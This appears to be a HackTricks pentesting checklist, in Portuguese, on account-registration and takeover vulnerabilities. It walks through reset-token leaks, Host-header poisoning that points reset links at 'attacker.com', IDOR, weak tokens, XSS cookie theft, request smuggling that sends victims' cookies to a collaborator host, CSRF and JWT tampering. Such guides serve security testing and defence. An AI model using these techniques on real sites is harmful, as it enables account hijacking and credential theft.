Registration & Takeover Vulnerabilities
Last updated
Last updated
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Tente gerar usando um nome de usuário existente
Verifique variando o email:
maiúsculas
+1@
adicione algum ponto no email
caracteres especiais no nome do email (%00, %09, %20)
Coloque caracteres pretos após o email: test@test.com a
victim@gmail.com@attacker.com
victim@attacker.com@gmail.com
Verifique se você consegue descobrir quando um nome de usuário já foi registrado dentro da aplicação.
Ao criar um usuário, verifique a política de senha (verifique se você pode usar senhas fracas). Nesse caso, você pode tentar forçar a autenticação de credenciais.
Verifique esta página para aprender como tentar tomadas de conta ou extrair informações via SQL Injections em formulários de registro.
Quando registrado, tente alterar o email e verifique se essa alteração é corretamente validada ou se pode mudá-lo para emails arbitrários.
Verifique se você pode usar emails descartáveis
Senha Longa (>200) leva a DoS
Verifique os limites de taxa na criação de contas
Use username@burp_collab.net e analise o callback
Solicite a redefinição de senha para seu endereço de email
Clique no link de redefinição de senha
Não altere a senha
Clique em qualquer site de terceiros (ex: Facebook, Twitter)
Intercepte a solicitação no proxy Burp Suite
Verifique se o cabeçalho referer está vazando o token de redefinição de senha.
Intercepte a solicitação de redefinição de senha no Burp Suite
Adicione ou edite os seguintes cabeçalhos no Burp Suite: Host: attacker.com
, X-Forwarded-Host: attacker.com
Encaminhe a solicitação com o cabeçalho modificado
http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
Procure uma URL de redefinição de senha com base no cabeçalho host como: https://attacker.com/reset-password.php?token=TOKEN
O atacante deve fazer login com sua conta e ir para a funcionalidade Alterar senha.
Inicie o Burp Suite e intercepte a solicitação.
Envie para a aba de repetição e edite os parâmetros: ID do usuário/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
O token de redefinição de senha deve ser gerado aleatoriamente e ser único a cada vez. Tente determinar se o token expira ou se é sempre o mesmo; em alguns casos, o algoritmo de geração é fraco e pode ser adivinhado. As seguintes variáveis podem ser usadas pelo algoritmo.
Timestamp
UserID
Email do Usuário
Primeiro e Último Nome
Data de Nascimento
Criptografia
Apenas Números
Sequência de token pequena (caracteres entre [A-Z,a-z,0-9])
Reutilização de token
Data de expiração do token
Acione uma solicitação de redefinição de senha usando a API/UI para um email específico, por exemplo: test@mail.com
Inspecione a resposta do servidor e verifique o resetToken
Em seguida, use o token em uma URL como https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Registre-se no sistema com um nome de usuário idêntico ao nome de usuário da vítima, mas com espaços em branco inseridos antes e/ou depois do nome de usuário. por exemplo: "admin "
Solicite uma redefinição de senha com seu nome de usuário malicioso.
Use o token enviado para seu email e redefina a senha da vítima.
Conecte-se à conta da vítima com a nova senha.
A plataforma CTFd foi vulnerável a este ataque. Veja: CVE-2020-7245
Encontre um XSS dentro da aplicação ou em um subdomínio se os cookies estiverem escopados para o domínio pai: *.domain.com
Vaze o cookie de sessões atual
Autentique-se como o usuário usando o cookie
1. Use smuggler para detectar o tipo de HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. Crie uma solicitação que sobrescreva o POST / HTTP/1.1
com os seguintes dados:
GET http://something.burpcollaborator.net HTTP/1.1 X:
com o objetivo de redirecionar as vítimas para burpcollab e roubar seus cookies
3. A solicitação final pode parecer com o seguinte
Hackerone reports exploiting this bug * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666
Crie um payload para o CSRF, por exemplo: “formulário HTML com envio automático para uma alteração de senha”
Envie o payload
JSON Web Token pode ser usado para autenticar um usuário.
Edite o JWT com outro ID de Usuário / Email
Verifique a assinatura fraca do JWT
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)